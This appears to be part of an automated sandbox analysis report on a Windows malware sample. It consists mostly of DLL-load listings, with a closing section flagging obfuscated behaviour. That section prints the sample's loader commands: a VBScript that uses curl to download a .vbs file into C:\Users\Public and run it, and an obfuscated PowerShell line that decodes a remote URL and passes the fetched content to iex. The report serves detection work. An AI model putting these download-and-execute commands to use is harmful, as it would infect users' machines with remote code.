Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: ystem.Core.pdb source: powershell.exe, 0000000F.00000002.2263494305.0000010E5A6A8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdb source: powershell.exe, 0000000D.00000002.2324362955.00000176CFD64000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: powershell.exe, 0000000F.00000002.2263494305.0000010E5A6A8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbat source: powershell.exe, 0000000F.00000002.2263494305.0000010E5A757000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 0000000D.00000002.2329501580.00000176CFF41000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2326672030.0000010E72DCC000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2326672030.0000010E72DB2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbb source: powershell.exe, 0000000D.00000002.2329501580.00000176CFF41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: b.pdb source: powershell.exe, 0000000D.00000002.2322203180.00000176CFCD8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdbll source: powershell.exe, 0000000F.00000002.2263494305.0000010E5A757000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdb source: powershell.exe, 0000000D.00000002.2327920282.00000176CFF02000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdbd19f source: powershell.exe, 0000000D.00000002.2324362955.00000176CFD64000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 0000000D.00000002.2329501580.00000176CFF41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Target.pdb source: powershell.exe, 0000000F.00000002.2263494305.0000010E5A6A8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdbb source: powershell.exe, 0000000F.00000002.2262573859.0000010E58C0B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000F.00000002.2326672030.0000010E72DB2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 0000000D.00000002.2322943309.00000176CFD0E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 0000000F.00000002.2326672030.0000010E72DF6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb[%[ source: powershell.exe, 0000000D.00000002.2329501580.00000176CFF41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 0000000D.00000002.2329501580.00000176CFF41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbCLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 0000000F.00000002.2263494305.0000010E5A6FC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 0000000D.00000002.2329501580.00000176CFF41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb source: powershell.exe, 0000000F.00000002.2326672030.0000010E72D90000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: orlib.pdb source: powershell.exe, 0000000F.00000002.2326672030.0000010E72DCC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.PowerShell.Commands.Utility.pdbpdbity.pdb89 source: powershell.exe, 0000000F.00000002.2263494305.0000010E5A6A8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 0000000D.00000002.2329501580.00000176CFF41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ows\dll\System.Core.pdb source: powershell.exe, 0000000D.00000002.2322734003.00000176CFCEC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbH source: powershell.exe, 0000000F.00000002.2326672030.0000010E72DCC000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("cmd /V/D/c curl -k -o C:\Users\Public\676556be12aca.vbs https://file-downl", "2", "true");IWshShell3.ExpandEnvironmentStrings("%PUBLIC%");IWshShell3.Run("cmd /V/D/c curl -k -o C:\Users\Public\676556be12aca.vbs https://file-downl", "2", "true");IWshShell3.Run("cmd /V/D/c start C:\Users\Public\676556be12aca.vbs", "2", "true");IWshShell3.ExpandEnvironmentStrings("%PUBLIC%");IWshShell3.Run("cmd /V/D/c curl -k -o C:\Users\Public\676556be12aca.vbs https://file-downl", "2", "true");IWshShell3.Run("cmd /V/D/c start C:\Users\Public\676556be12aca.vbs", "2", "true");IWshShell3.Run("cmd /V/D/c start C:\Users\Public\676556be12aca.vbs", "2", "true")

Obfuscated command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\conhost.exe conhost --headless powershell $vgefcqxzrt='ur' ;new-alias printout c$($vgefcqxzrt)l;$hfcvpezag=(1834,1845,1853,1837,1839,1834,1854,1853,1858,1791,1853,1787,1834,1782,1852,1847,1848,1783,1785,1782,1848,1840,1848,1799,1851,1797,1845,1841,1846,1852,1851,1786,1785);$tojrkpgbsvmcq=('bronx','get-cmdlet');$lspvtzafdqnegy=$hfcvpezag;foreach($bzgumhk in $lspvtzafdqnegy){$ontzid=$bzgumhk;$wzyatgcpjiv=$wzyatgcpjiv+[char]($ontzid-1736);$hmgrcuitvfb=$wzyatgcpjiv; $quvrzaxtinbgm=$hmgrcuitvfb};$mzxndfjebgh[2]=$quvrzaxtinbgm;$edsogfiw='rl';$hqukojaxyi=1;.$([char](9992-9887)+'e'+'x')(printout -useb $quvrzaxtinbgm)
